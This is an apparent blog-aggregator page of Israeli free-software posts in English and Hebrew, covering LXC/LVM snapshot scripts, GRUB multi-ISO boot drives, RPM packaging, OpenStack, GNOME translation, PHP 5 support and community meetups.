In our company developers deal with massive datasets that needs to be easy to copy, modify a fraction of it and scrape. Snapshotting is an ideal solution here. Each developer has a personal vserver (LXC container). The missing piece here is to provide them with a way to manipulate partitions and snapshots from inside of their vservers.

To enable users manipulate partitions from inside of the virtual server, I wrote LLS (LXC+LVM+Snapshots) scripts.

LXC+LVM+Snapshots = LLS

LLS system is set of scripts that enable LVM partitions and snapshots to be managed from inside of LXC vservers. It is safer to allow developers to use the scripts, instead of giving them superuser access to the physical machine.

Architecture

The LLS scripts consist from two parts. The daemon script on the host and client scripts on the vservers. The clients communicate with the server over a named pipe in a shared (bind mount) directory /lls (lls - LXC+LVM+Snapshots). The /lls directory is actually a small partition that contains configuration file, the shell scripts and the named pipe used for communcation.
The daemon script does all the necessary low-level manipulations, both on the physical machine and on the LXC vservers.
Usage

Each LLS vserver has /lls partition mounted. To preserve mounts across reboots, the /etc/rc.local file runs /lls/tools/lls_mount_on_boot.sh script.
There are several client scripts the /lls/tools partition that do various operations:
script nameOperation
lls_create_partition.shCreate a partition
lls_create_snapshot.shCreate an LVM snapshot from an existing LVM partition
lls_delete_partition.shDelete an LVM partition or snapshot
lls_list_partitions.shList available LLS partitions and refresh /dev/mf directory
lls_mount_on_boot.shMount LLS partitions using configuration in the /etc/fstab file

The scripts show informative Usage information when ran without arguments.
Developers are expected to operate the scripts by themselves. They are also expected to maintain the /etc/fstab file for mounts they want to survive reboot of their vserver. Unmounted snapshot is assumed to be not necessary anymore and might be deleted at any time.

Further work

As the LLS system is used, more features are asked by developers and system administrators. Here are some of them:
  • Track unused (unmounted) LVM snapshots and delete them automatically
  • Track disk space used/required by LVM snapshot and grow it automatically. Send email to sysadmin each time this happen.
  • Have a way to enable/disable visibility of a LLS partition. This is useful while the LLS partition is under construction.
  • Have a way to mark an LLS partition as non-mountable or mountable in read-only mode.
Download
Version 20111124.

14 April, 2016 12:15 PM

08 April, 2016

Meir Kriheli

מצגת ההרצאה אודות asyncio

AsyncIO נמצאת בספריה הסטנדרטית של פייתון החל מגרסה 3.4, ומספקת תשתית לכתיבת קוד מקבילי הרץ ב-Thread בודד.

ההרצאה אודות AsyncIO שהועברה במסגרת PyWeb-IL 52 זמינה בעמוד הרצאות ומצגות.

08 April, 2016 06:49 AM

01 April, 2016

Gabor Szabo

thanks (NOT spam)

For the full article visit thanks (NOT spam)

01 April, 2016 07:43 AM

29 March, 2016

Oz Nahum

Morse fun with Python

Creating morse code or translating it to ASCII text is fun, even more fun is making your laptop beep morse code. Here how you can do it with Python. continue reading...

29 March, 2016 10:51 PM

26 March, 2016

Oz Nahum

Yet another case of Python vs. Regular Expressions

Regular Expressions are really awesome, and If you read the last post you might got the wrong impression I am totally against their use. I love using regular expressions, but sometimes, knowing Python is more than enough. continue reading...

26 March, 2016 09:32 PM

13 March, 2016

Artyom Beilis

לבנות RPM להרבה הפצות

כשאתה מפתח הפרויקט קוד־פתוח, קל מאוד להפיץ קוד מקור, אבל כשזה מגיע לקבצים בינאריים, זה הופך לבעיה הרבה יותר משמעותית. יש עשרות הפצות, כל אחת מגיע במספר גרסאות שונות ומביא אתה חבילות טיפה שונות. לכן, לאדם אחד זה כמעט ובלתי אפשרי לבנות חבילות לכל הפצה אפשרית.

בזכות debootstrap היה לי יחסית קל לבנות חבילות deb ל־Debian ו־Ubuntu, אבל המצב הרבה יותר מורכב כשמדובר ב־rpm כי אין דרך קלה לשים את הפצת rpm בספריה ולעשות לתוכה chroot.

בהמלצת שגיא בן־עקיבא התחלתי להשתמש ב־Open Build Service של OpenSuse.

האמת, אני מאוד מרוצה! כל מה שצריך זה להעלות Source RPM או קובץ spec, כל השאר ייעשה בצורה אוטומטית: בניה למספר הפצות ופלטפורמות, הכנת מקורות מסודרים ואפילו אתה מקבל repository מסודר.

בצורה כזו הכנתי rpmים ל־3 הפצות (Fedora, Suse, CentOS) כולל מספר גרסאות וגם הכל עבור שתי ארכיטקטורות: x86 ו־x86_64.

http://download.opensuse.org/repositories/home:/artyom-beilis/

מה שנותר... להבין כיצד משתמשים בשירות עבור debים

הטקסט המלא

13 March, 2016 02:11 PM

כיצד לא לעשות יוניקוד

הסיפורו של הניסיון להדפיס "שלום" במספר שפות במסוף של חלונות.

http://blog.cppcms.com/post/105

הטקסט המלא

13 March, 2016 02:11 PM

05 March, 2016

Ram on Agmon

מה זה אופן סטאק ולמה כל כך קשה להתקין את זה

אופן סטאק היא כמו הפצת לינוקס, אלא שבמקום להפיץ מערכת לינוקס (שרת, שולחן עבודה, אנדראויד) זו "הפצה" של מערכת וירטואלוזיצה. אופן סטאק היא לוירטואלזיציה, בדומה לאובנטו ללינוקס (אבל הרבה יותר מבוזרת). זו היא מערכת לבניית ענן , כדוגמת מערכות הענן של vmware, או של מיקורסופט. אופן סטאק, יכולה להתממשק להרבה "סוגי" וירטואליזציות. החל מ-kvm, zen ועד פורמטים קנייניים רבים.

היתרון הגדול של המערכת, כמו כל מערכת תוכנה חופשית ראויה, הוא בגמישות ובשליטה, היא מורכבת מרכיבי "ליבה" הכתובים בפייתון, כך שהקוד נגיש על המכונות עצמן. מה שהוסדר, הוא, למעשה אופן התקשורת בין הרכיבים השונים. רכיבים שיכולים להיות מפותחים על ידי אירגונים שונים אך עדיין אם רכיב הניהול, רוצה לבקש להפעיל מכונה על רכיב הוירטואלוזיציה (hypervisor) תהיה להם שפה משותפת, זהו rest api. שכולם "מכירים". כך שהמערכת גמישה לחלוטין, ולכל רכיב יכול להיות (ולעיתים קרובות גם יש) – תחליף.

אופן סטאק בנויה מרכיבי ליבה, שיש להרכיב ולהתאים כמו אבני לגו. ישנם עשרות שירותים כאלו, ומאות הגדרות. ומספיק שהגדרה אחת לא נכונה, וזה לא יעבוד, או לא תמיד יעבוד. והתיעוד לקוי ושגוי. ואם אחת המכונות הפיזיות מאותחלת, דברים מפסיקים לעבוד לגמרי.

אחרי שהצלחתם לייצב מערכת שכזו, צריך לדאוג גם שהיא תהיה שרידה "מוקשחת". מאחר שמדובר על עשרות רכיבים, צריך להבין את אופן העבודה של כל רכיב ורכיב, ולאפשר לו שרידות בהתאם לצרכים. הגמישות של המערכת, מאפשרת, גם לבנות מערכות בעלות שרידות מלאה (100% זמן) שלעיתים הכרחית למערכי ייצור (למשל בתחום התקשורת). בניה של שרידות וזמינות של כל כך הרבה רכיבים, מחייבת הבנה עמוקה בתשתיות תוכנה חופשית.

אופן סטאק כוללת רכיבים רבים, הפונים לרכיבים "חיצוניים" בתחום האיחסון, הרשתות, בסיסי נתונים, מערכות תורים. כל אחד מתחומים אלו, מורכב בעצמו משירותים רבים, שכל אחד מהם צריך להיות יציב גם הוא, אך יותר מכך, צריך להגדיר ולהבטיח שרידות גם ברמה של האפליקציות עצמן.

מכך ברור, שהתקנה של מערכת אופן סטאק יציבה ברמה של מערכות ייצור, היא משימה מורכבת, הדורשת ידע נרחב ועמוק, ויש להתייחס אליה כאל פרויקט תוכנה, ולא כאל מערכות הטמעה "רגילה". זה לא בסיס נתונים, זה יותר דומה להדופ על כל האקו סיסטם שלו. אך הדופ נבנה מתוך דגש על שרידות, כבר בתוך רכיבי המערכת, ואילו אופן סטאק לא.

למזלנו, יש הרבה מאוד הפצות וחברות המבטיחות את המוצר הזה. ממה שבדקתי, רובן, מורכבות מאוד להבנה ולתפעול, ולא נפגשתי במערכת המבטיחה שרידות ברמת מערכות ייצור יחד עם קלות תחזוקה גבוהה. כך שנשארה עוד הרבה עבודה בפני אופן סטאק על מנת שתוכל להיות חלק מהתקנות תוכנות אחרות אצל הלקוח (כאשר, במקום לבצע התקנה אצל הלקוח, מגיעים עם ארון, בו הכל כבר מוכן). הידע הנדרש על מנת לתכנן, לבנות ולתחזק מערכות שכאלו הוא ברמה עמוקה ורחבה ביותר בתחום המערכות חופשיות, סיסטם לינוקס והאוטומציה.

כדי שאפליקציות יכולו לשייט בענן, הן צריכות גישה לשירותים חיצוני. החל משירותי רשת (dns, dhcp, firewall) ועד שירותי שרידות, ניטור, בקרה, בניה, שדרוג. הן למערכות הענן עצמו (אם נרצה לשדרג ארון, או מרכז ייצור, ברמת התוכנה או החומרה) אם אם נרצה לשדרג מופעים של תוכנה הפועלים בענן או לשלוט על התנאים שבהן הן יפעלו (למשל, הזנקה של מכונות בעקבות עומס, וכיבוי שלהן בזמנים אחרים). מכך ברור, שאלו המסוגלים לארגן לעצמם עננים שכאלו, פרטיים, למערכות הייצור, הם רק גופים בעלי משאבים בהיקף גדול. עם הזמן, כאשר אופן סטאק תהיה יציבה יותר ופשוטה יותר להתקה, אין מניעה שהיא תצליח לכבוש ארונות גם אצל אירגונים גדולים פחות.

הטקסט המלא

05 March, 2016 10:50 PM

03 March, 2016

Yosef Or Boczko

מצב תרגום GNOME – לקראת 3.20

ערב טוב.

ניצלתי את חופשת ה„רגילה” הקצרה שלי לתרגום GNOME. בגדול הספקתי לתרגם הכל, להוציא את gitg ואת gnome-builder.

אחוז התרגום עומד על 80% (36069 מחרוזות מתורגמות, 3702 מעורפלות ו־4937 שאינן מתורגמות), בהשוואה ל־82% (37120 מחרוזות מתורגמות, 3326 מעורפלות ו־4675 שאינן מתורגמות) ב־3.18 ו־82% (35965 מחרוזות מתורגמות, 3087 מעורפלות ו־4453 שאינן מתורגמות) ב־3.16.

ניכר כי יש עלייה ברורה במספר המחרוזות שאינן מתורגמות, אולם אני יכול לומר בבירור כי GNOME מתורגם באופן מלא, קרי המשתמש לא יפגוש במחרוזות לא מתורגמות, להוציא שני היישומים המצוינים לעיל.

ניתן לקרוא טיוטת הערות השחרור לגרסה זו של GNOME. גם הפעם לא אסקר השינויים, מקוצר בזמן.

אציין באג בהקשר לתמיכה בכיווניות, במקומות רבים ניתן למצוא תוויות ושאר יישומונים שלא מיושרים כראוי לימין. ראו בבאג כאן. אני מקווה שהבאג יבוא על תיקונו בהקדם.

את השיר, הפעם, אקדיש דווקא לי ולחברי השריונאים.

ערב טוב,

יוסף אור

03 March, 2016 07:24 PM

09 February, 2016

Dan Fruehauf

Spanning files over multiple smaller devices

Imagine you are in Tasmania and need to move 35TB (1 million files) to S3 in the Sydney region. The link between Tasmania and continental Australia will undergo maintenance in the next month, which means either one or both:

In short, I’m going to be presented with a bunch of HDs and I need to copy the data on them, fly to Sydney and upload the data to S3. If the HD given would be 35TB I could just copy the data and be done with it – no dramas. Likely though, the HDs will be smaller than 35TB, so I need to look at a few options of doing that.

Things to consider are:

LVM/ZFS over a few HDs

Building a larger volume over a few HDs require me to connect all HDs at the same time to a machine and if any of them fail I will lose all the data. I decide to not do that – too risky. It’ll also be difficult to debug if anything goes wrong.

tar | split

Not a bad option on its own. An archive can be built and split into parts, then the parts could be copied onto the detination HDs. But the lose of a single HD will prevent me from copying the files on the next HD.

tar also supports -L (tape length) and can potentially split the backup on its own without the use of split. Still, it’ll take a very long time to spool it to multiple HDs as it wouldn’t be able to do it in parallel. In addition, I’ll have to improvise something for untarring and uploading to S3 as I will have no staging area to untar those 35TB. I’ll need something along the lines of tar -O -xf ... | s3cmd.

tar also has an interesting of -L (tape length), which will split a volume to a few tapes. Can’t say I am super keen using it. It has to work the first time.

Span Files

I decided to write a utility that’ll do what I need since there’s only one chance of getting it right – it’s called span-files.sh. It operates in three phases:

The utility is available here:
https://github.com/danfruehauf/Scripts/tree/master/span-files

I’ll let you know how it all went after I do the actual copy. I still wonder whether I forgot some things…


09 February, 2016 12:28 PM

31 January, 2016

Kobi Zamir

Diff , Patch ו Pull Requests

מאז שהתחלתי לפרסם תכנות חופשיות, קבלתי משוב ועזרה בכל מיני צורות. בהתחלה אנשים שהכרתי פשוט באו אלי והציעו לי שיפורים בתוכנות שעזרו להם ועם הזמן, התחלתי לקבל גם מיילים עם הסברים, הצעות, קוד ופאצ'ים.

הטקסט המלא

31 January, 2016 05:35 PM

24 January, 2016

Kobi Zamir

מכתב לא שגרתי

לפני שבוע קבלתי מכתב לא שגרתי לגבי libhdate. ראשית הכותב אינו שגרתי, מדובר באדם בגיל 80 בערך. שנית מדובר בפלטפורמה לא שגרתית Raspberry Pi. ושלישית מדובר בשימוש לא שגרתי בספריה.

הטקסט המלא

24 January, 2016 04:00 PM

23 January, 2016

ik

סיכום שנה – 2015

כרגע כפי שניתן לראות, הבלוג שלי כמעט ולא זוכה לעדכון, וזאת בשל כך ששנת 2015 הייתה שנה מאוד עמוסה ומאתגרת עבורי מבחינה מקצועית.

לצערי לא אוכל לדבר בהרחבה על הרבה מהדברים שהתבצעו, לפחות בינתיים, אך אני מקווה כי שנה מהיום כבר אוכל לחשוף את העיסוקים השונים.

ב2014 "זכיתי" באלימות, ניסיון סחיטה לאחר אלימות הזו, ואז גם מימוש הסחיטה בפועל, כאשר מישהו לא רצה לסדר דברים אצלו ברשת, והחליט שאלימות זו הדרך לפתור דברים.

אך הרבה לפני כן, התחלתי לבצע פרויקטים שהגיעו לאט לאט למשהו גדול יותר, שב 2015 מצאתי את עצמי שקוע רק בהם, ולמעשה גם כרגע אני עדיין עסוק באותם הפרויקטים.

הגעתי למשל למצב שבו אני יושב עם אנשי מתג של חברת תקשורת מוכרת בישראל, והם צוחקים עלי שאני ילד, כי אני "רק" תשע שנים בתחום התקשורת. כאשר אני התחלתי (ועדיין אפילו לא מתקרב לחיתולים)  ללמוד קצת על SS7 ו SIGTAN עבור אחד הפרויקטים.

פרויקט של גוף ממשלתי שהשורשים שלו נטעו בסוף 2012, הגיע למצב של פיילוט ב2015, שעכשיו ב2016 כנראה שיכנס להיות בכל הארץ אצל אותו גוף ממשלתי.

מספר פרויקטים נוספים גם הם נמצאים בשימוש של מספר גופים בארץ שלהם משתמשים רבים התחיל ב2015 ועכשיו מתחיל להתרחב לשימוש גדול עוד יותר.

התחלתי לבצע הרבה ניתוח של דרישות ומימושים קיימים בשביל לשפר אותם וחלקם אפילו לשכתב, ואפילו ליצור סוג של roadmap לפרויקטים שונים, דבר שהתגלה כאתגר מאוד מעניין, אך עדיין אני מוצא כי כתיבת קוד מהנה הרבה יותר מאשר תחזוקה או תכנון ללא מימוש שלי של אותו התכנון.

דברים נוספים שהתחילו ב2013, התפתחו יותר ב2015, כאשר אני מקווה שעד 2017 אוכל כבר להציג ולדבר עליהם בחופשיות יותר, היות והם הולכים לשנות מספר גישות שאנחנו מכירים כיום, במידה ויישארו בכיוון שנכנס כרגע, והיו כמובן משוחררים בקוד פתוח.

בכלל, חשוב לי להדגיש כי כל הדברים האלו מבוססי קוד פתוח שהיה קל מאוד להכניס אותם לפרויקטים האלו, משהו שלפני רק שלוש שלא לדבר על חמש שנים, היה על סף בלתי אפשרי. עכשיו זה אפילו כמעט מתבקש וכבר לא סוג של מילה גסה.

יש אצלי למה לחכות, ואנסה לעדכן יותר את הבלוג תוך כדי.


תויק תחת:asterisk, freeswitch, VoIP, טלפוניה, קוד פתוח, תקשורת

23 January, 2016 02:01 PM

07 January, 2016

Ram on Agmon

שנת 2015, שנת התוכנה החופשית ומקצוע ה- devops

לפעמים, זה כל כך גדול, שנשאלת השאלה, בשביל מה בכלל לנסות להגדיר זאת. כי זה הרי בכל מקום. יותר מאשר אי פעם. תוכנה חופשית, היא כל כך גדולה, כל כך מקיפה כל, שאי אפשר שלא לתהות, היכן צדקנו.

עולם התוכנה, השתנה, בגלל הרשת. כיום, הצורך הוא לייצר זרם אין סופי של תיקוני תוכנה על מנת לשכלל את השירותים כל הזמן. הדרך המודרנית לבצע זאת היא באמצעות פיתוח מתמיד, הדורש גם בדיקות איכות אוטומטיות וניהול מערכות הייצור באמצעות קוד, וכך גם ניטור ביצועים והפצת רכיבי התוכנה.

פיתוח מערכים לשינוי תצורה של מאות תחנות לינוקס, דורשת הכרה של מערכת ההפעלה לקרביה.

אלו הן מערכות חיות, מערכות שפועלות כל הזמן, ושאסור להשבית אותן. תחומים, שפעם היו נחלת אתרים גדולים, כמו שרידות ואבטחה, הפכו להיות נושאים שכל אירגון המנהל מידע, מתייחס אליהם.

בתוך העולם הזה, שבו מערכות המספקות שירות מפתחות ומפותחות באופן מתמיד, נבנו מספר כלים, חופשיים, שדי דחקו לגמרי החוצה כל מתחרה מכל סוג אחר. היקף השימוש בתשתיות חופשיות, מכפיל את עצמו כל שנתיים, וכבר עכשיו, הביקוש לאנשי מקצוע בתחום גדול על ההיצע. "לדעת לינוקס". זה מה שהרבה אנשים רוצים פתאום. פעם, בעודי עומד בתור לאחת מספקי המזון בהרצליה פיתוח, שמעתי מאחורי זוג עובדים מדבר "עכשיו התחלתי, סטאראפ חדש, כן, הכל לינוקס. צריך ללמוד הכל מההתחלה".

המורכבות של המערכות סוחפת מתכנתים, אשר מתייחסים אל מערכת ההפעלה כאל אבני הבניין של המערכות שלהם. הם לומדים להכיר את היכולות של המערכות, ומעצבים צבירים של מחשבים לעמוד בסטנדרטים מוגדרים של תפוקה ואבטחה. כך מפותח מקצוע ה- devops, המוגדר, בערך כמו אחד הרכיבים העיקרים שלו: system linux, שמשם אני בא.

אני לא חושב שזה משנה באיזה קנה מידה של צבירי מחשבים אני עוסק, אני תמיד נהנה להביט באופן שבו מכונה בודדת עובדת. להעמיס עליה, לראות את החיבורים רצים בין המכונות. ברמה הנמוכה, הפיזית, של כלי איש הסיסטם. בניגוד למערכות אחרות, לינוקס מחייבת אותך לחשוב איך היא עובדת. כשמישהו רוצה להרים פרויקט מבוסס תוכנה, הוא לא יכול לעקוב אחרי מדריך. הוא חייב ללמוד, להבין, ולמעשה לכתוב עבור עצמו את המדריך להתקנה. אם אתה לא מבין, זה לא יעבוד.

מחשב עם תוכנה חופשית הוא מערכת יפה, נקייה ומאורגנת. בה ניתן לשלוט על כל רכיב. אנשים העוסקים בתחום, צריכים להכיר גם הצד את הזה של המכונות. לצערי, נתקלתי בהרבה מקרים בהם אנשים מגעים לתחום וחסרים את הידע לרדת לקרביה של מכונה.

בסיסי נתונים, כמו postgress אשר מתוחזק על ידי ממשלת צרפת, הפכו להיות למתחרה ראוי לאורקל בחלק נכבד מהמשימות שלו, ויש כל כך הרבה משימות אחרות שלאורקל אין אף נגיעה קלה בהם. הרעש כבר מספיק כדי להטריד את מנוחת תאגידי הענק מארה"ב. אך לא רק בתחום זה, השחקנים הוותיקים צריכים להתאים את עצמם. ענקים, השולטים על שווקים כמו ווירטואלוזיציה, עלולים למצוא את עצמם די מהר בתחרות מצד הרבה מאוד כיוונים. מערכות מחשב קלאסיות, לא בנויות לעבוד בענן. אך העננים החופשיים המודרנים כבר מתחילים לגשש את דרכם אל פנים האירגון.

פעם הייתי עובר ומנתח את השוק, מי מאיים על מי. כיום, כולם מאוימים על ידי אותה טכנולוגיה, תוכנה חופשית. תאגידי ענק רבים כבר שואלים את עצמם באופן מעשי, איזה כיוון הם יקחו עם התקדמות הטכנולוגיה.

ובתחום אחר, libreoffice אולי נתפס כקונספט מיושן. אך למרות המעבר לחבילות אופיס בענן, הפרויקט נהנה מגידול במספר ההורדות. מאז שפוצל מ openoffice, הפרויקט זכה לתרומה מצד כמות מרשימה של מפתחים. אני זוכר לו חסד נעורים, עוד לפני שירותי המשרד של גוגל בענן, זו היתה התוכנה שאיפשרה לי להגר לגמרי מחלונות ללינוקס. (גליון אלקטרוני).

אך docker הוא ללא ספק ההברקה של השנים האחרונות. טכנולוגיה ישנה נושנה, שהלבישו לה מעטפת מודרנית, הוא נהפך לסנטדרנט דה פאקטו של עולם הענן. תופעה די מדהימה, בהתחשב לכך שכה מעטים היגרו כבר את המערכות שלהם. אבל כולם מדברים על זה. כי בכל מה שנוגע להפצה של תוכנה בקנה מידה גדול, זו כנראה הדרך הפשוטה והאמינה ביותר, יחד עם זה, נראה שרק בסוף השנה הנוכחית, הגיע פתרון האמור לתת תקשורת אמינה בין מופעים של docker גם כאשר הם נמצאים על מחשבים שונים.

תחום בסיסי הנתונים, יצר תפיסה חדשה, בה כבר לא עושים שימוש בבסיס נתונים אחד, אלא ברבים, כל אחד למשימה, לשירות. כך גם התרחב השימוש בתורים, כחלק מהאסטרטגיות פיתוח הבנויות לענן. האופן שבו אפליקציות יכתבו באופן יעיל לעבוד בענן, היא הגביע הקדוש של רבים מאירגוני התוכנה כיום. שימוש נכון, יכול להעלות את היעלות של המערכת ואת היכולות שלהם להתאים עצמם לעומסים בעלויות אופטימליות.

היקף המידע מכפיל את עצמו כל שנתיים, כמו גם גודלה של האינטרנט. למידע הזה, יש ערך, אפשר לנתח אותו ולהפיק ממנו כסף. אירגונים רבים, עוסקים במיון ואיסוף מידע, אך התקציב שלהם, אינו גדל בקצב המאפשר להם להמשיך לרכוש ציוד בהיקף הנדרש. עלות הרשיונות כה גבוהה, עד שהיכלות לקצץ בהוצאות בתחום הרישוי, הופכת להיות לאילוץ אסטרטגי של  אירגונים גדולים.

צורך מביא אירגונים לשינוי. והצורך לטפל בכמויות של המידע, חייב אירגונים לבחון חלופות חופשיות. האיכות הגבוהה להפליא של המוצרים, העלויות הנמוכות להקסים של השימוש, הופכים את היכולות של אירגון להתאים עצמו לתפיסות מודרניות של תוכנה, תקבע את היכולות שלו לשרוד בעידן שבו הפיתוח לעולם לא מוקפא והמידע לעולם לא מספיק לזרום.

לפני זמן מה, שוחחתי עם חבר העובד בחברה גדולה העוסקת בטכנולוגיה חלונאית. הפרויקט נגע לעיבוד מידע בענן. וכאשר שאלתי למה אתם לא עובדים עם חלונות, הם אמרו שהיא פשוט לא יכולה לבצע את זה. אף מוצר שהם בחנולא מבטיח תאימות לחלונות. זה יעבוד, אבל אף אחד לא יכול להבטיח מה זה בדיוק יעשה ובפרט, איך זה יתנהג תחת עומס גבוה.

וקצת על אוהבתי הראשונה, אובנטו. שהיתה הראשונה שעבדה על המחשב שלי, מכונה שכבר לא איתנו הרבה מאוד זמן. אובנטו, פרויקט הפילנדרופיה המגלומני של מארק שאטלוורת הפך להיות למערכת ההפצה הנפוצה ביותר בענן, כשהיא בעצמה גם מהווה את הבסיס לענן האופן סטאק. שלדעתי שני במורכבות שלו רק לקרנל בכבודו ובעצמו.

אז היכן צדקנו? מה כל כך מדבק בתוכנה הזו, בעקרונות העבודה. בכלכלה של "קח לפי צרכיך תן לפי יכולתך"? אולי כי זה מבוסס על רעיונות של חופש. של שוויון בין בני אדם. של קנאות לרעיונות והדרישה שהרעינות של אנשים, תמיד ישארו זמינים לשימוש בידי אנשים אחרים. שלא יהיו סגורים תחת חוקי תאגידים. של כבוד ליצירה של אנשים, בפרט אם היא פיסת קוד. תפיסה של חסכון באופן השימוש במידע, של יעילות ושל חתירה לפתרון של בעיות, ולא בכפוף לשיקולי שיווק, לאום גזע, או דת וכו' וכו'.

אופס. פוסט שלם על תוכנה חופשית בלי להגיד "מיקרוסופט".

הטקסט המלא

07 January, 2016 10:40 PM

Lior Kaplan

תוכנה חופשית במערכת החינוך

קיבלתי השבוע טיפ מעמיחי עם קישור למסמך מעניין שעניינו סקירה של תוכנה חופשית במערכת החינוך (מינואר 2015). בהמשך השבוע גם נוצר דרכו קשר למי שאסף את הנתונים במרכז המידע של הכנסת, כך שיכולתי לשלוח לו עוד קצת חומר רקע (מהויקי של המקור) ונתונים עדכניים. דוגמה מהימים האחרונים היא העובדה שהאתר החדש של משרד החינוך לקורסים באנגלית מבוסס על Moodle (באדיבות האוניברסיטה הפתוחה). ובנוסף, יש עוד כמה דברים שעובדים עליהם במערכת שהוא לא הבשילו.

מסמך זה, מצטרף למסמך שנכתב כמה חודשים לפני כן (וגם מוזכר בו) שעניינו קוד פתוח במשרדי הממשלה. בסופו של דבר, נראה שאנחנו צריכים לעזור לנבחרנו להתעניין בקוד פתוח. כרגע תמר זנדברג מובילה את השאלות והבקשות, אבל צריך לעניין גם חברי כנסת ממפלגות אחרות כדי להעלות את הסיכוי שהדברים יגיעו מלמעלה ולא רק מהאנשים הטכניים במשרדים השונים.


תויק תחת:Free Software in Israel, gov.il

07 January, 2016 09:49 AM

05 January, 2016

Lior Kaplan

PHP 5 Support Timeline

With the new year starting the PHP project is being asked to decide about the PHP 5 support timeline.

While Aligning PHP 5.6 support timeline with the release date of PHP 7.0 seems like common sense to keep the support schedule continuous, there’s a big question whether to extend it further to an additional one year of security support till the end of 2018. This would make PHP 5.6, the last of the PHP 5 branch, to have 2 years of security support and de facto getting the same life span as PHP 7.0 would (ending support of both in Dec 2018).

But beside of support issues, this also affects adoption rate of PHP 7.0, serving as a catalyst due to end of support for the PHP 5 branch. My concerns are that with the additional security support the project would need to deal with the many branches (5.6, 7.0, 7.1, 7.2 and then to be 7.3 branch).

I think we should limit what we guarantee (meaning keeping only one year of security support till end of 2017), and encourage project members and the eco-system (e.g. Linux distributions) to maintain further security based on best effort.

This is already the case for out of official support releases like the 5.3 and 5.4 branches (examples for backports done by Debian: 5.3 and 5.4). And of course, we also have companies that make their money out of long term support (e.g. RedHat).

On the other hand, we should help the eco system in doing such extended support, and hosting backported fixes in the project’s git repo instead of having each Linux disto do the same patch work on its own.


Filed under: PHP

Full text

05 January, 2016 11:52 PM

18 December, 2015

sml

מנהל הרשת ו-Polkit

על המחשב הנייד הקטן שלי, הלא הוא זעיר בן החמש פלוס, מותקנת עתה אופן-סוזה 13.2 – גם היא כבר ותיקה בת שנה ויותר. לא הייתי מעונין לא בהפצה מתגלגלת ולא בהפצה אוונגרדית, אלא במשהו סולידי ויציב שיניח לי לעסוק בעניינים לא לינוקסיים בנחת. ואף על פי כן, יורד עליו גשם נדבות של עדכונים, לא פעם עשרות ביום ומאות רבות בחודש.

הטקסט המלא

18 December, 2015 04:57 PM

13 December, 2015

Arie Skliarouk

GRUB-based multiple iso booting flash drive

With huge USB flash drives of today it is sad that one can't easily put several bootable ISO images on it and have nice on-boot selection menu.

GRUB to the rescue!

Historically GRUB is being used for hard disks and syslinux for floppies and flash drives. But nothing prevents using GRUB for flash drives as well. Here are instructions for creating bootable GRUB-based USB flash drive (disk on key):

  1. Create vfat partition. For big drives you must use fat32 format.
  2. Unpack the http://t11.meshanet.com/skliarie_blog/boot.tar.gz onto it. It will create single directory boot on the drive.
  3. Customize boot/grub/grub.cfg file, put iso images accordingly
  4. On linux box, put bootable MBR onto the DOK (for example on /dev/sdf):
    1. mount /dev/sdf /mnt/dok
    2. grub-install --force --no-floppy --root-directory=/mnt/dok /dev/sdf
    3. umount /mnt/dok 

    Caveats:

    The ISO image must support GRUB-based booting. Specifically it must be smart enough to locate ISO image on the DOK using parameters specified in grub.cfg file.

    Latest Ubuntu and Debian based ISO images are known to work.

    Thanks to Jonathan Vollebregt there is a way to boot knoppix as well. You will need custom initrd, with your flash drive specific tuning. I built one for mine: knoppix_minirt.gz, you are free to take and modify it according to your DOK and filesystem parameters. Important commands here are:
    1. Unpack the initrd
      gzip -dc /mnt/dok/boot/knoppix/minirt_ska.gz | cpio -i
    2. Modify the init file (put sector numbers that are correct for your DOK)
    3. Compress back the initrd
      find ./ | cpio -H newc -o | gzip -9 -c > /mnt/dok/boot/knoppix/minirt_ska.gz
    Please send me GRUB stanzas for other ISO images and I will put them into the grub.cfg file.

    13 December, 2015 01:33 PM

    11 December, 2015

    Lior Kaplan

    מפגש פיתוח ראשון של עמותת המקור

    לאחר כמה התכתבויות ברשימת התפוצה, מפגש הפיתוח הראשון של העמותה יצא לדרך (ותודה ללינוייט על האירוח).

    למפגש הגיעו 12 איש, נוכחות יפה למפגש ראשון. לאחר סבב הכרות שגלש קצת לדיונים פה ושם, ניסינו לעבור לקבוצות עבודה. חלק מהאנשים הגיעו עם תוכנית מראש וחלק הצטרפו או אלתרו תוך כדי תנועה.

    התכנון שלי למפגש היה לטפל בעניני אתר המראה שקצת נזנח לאחרונה וגם בכמה דברים שקשורים בליברה אופיס.

    במהלך המפגש טיפלתי בשני אתרים מראה חדשים – oVirt ו-Kodi. הראשון עוד דורש תיאום מול הפרוייקט והשני נמצא כבר בתהליכי סנכרון (עדכון – אתר המראה זמין כאן: http://mirror.isoc.org.il/pub/kodi/)

    מבחינת ליברה, הרצתי בניה של הגרסה כדי לבדוק את התיקון של #85767 והוא אכן נפתר לשביעות רצוני. התיקון עצמו בוצע בשני חלקים, הראשון שהוא גם הפשוט הועבר לגרסה 5.0.4 בעוד שהשני שדורש שינויים קצת יותר רציניים יכלל רק בגרסה 5.1.

    במקביל ניסיתי (כמיטב יכולתי) להפנות את מאיה, סטודנטית שהגיע למפגש ורצתה להתעסק בליברה, למקורות כדי להבין מה קורה בקוד של ליברה. היא כבר התחילה להתכתב עם המפתחים של הפרוייקט דרך IRC, ואני מקווה שבקרוב היא גם תוכל לתרום קוד.

    הצקתי קצת לירון כדי שיעבוד על התרגום של ליברה, ולקראת סוף המפגש גם תרמתי קצת תרגומים בעצמי (בעיקר אלה שהם fuzzy ודיי קלים לטיפול). התרגום נמצא כרגע על 75% ואני מקווה שנגיע לפחות ל-80% עבור גרסה 5.1 שצפויה לצאת בפברואר. מבחינת ההתחלה – מדובר בנקודת זמן טובה, הקפאת המחרוזות של התוכנה היא באמצע שבוע הבא, ובועד חודש גם יש הקפאת קוד (לוח הזמנים המלא כאן: https://wiki.documentfoundation.org/ReleasePlan/5.1).

    בעקבות הערות של יניב על הגרסה העברית של העמוד הראשי בויקי של הפרוייקט, ערכתי אותו והעפתי את הקישורים הישנים ולא רלוונטים.


    תויק תחת:Hamakor, ISOC-IL, LibreOffice, Uncategorized

    11 December, 2015 10:22 AM

    07 December, 2015

    Ira Abramov

    תלתפסת לכל פועל

    לפני שלוש שנים הזמנתי, ולפני כחצי שנה קיבלתי תלתפסת מפרויקט ריג'ידבוט בקיקסטארטר. בסוכות השנה הרצאתי על מה שלמדתי על תלתפסות בכלל, ותלתפסות RepRap ביתיות בפרט, ולאחרונה ההרצאה עלתה עם שאר התכנים המצולמים של הכנס לאתר העמותה.

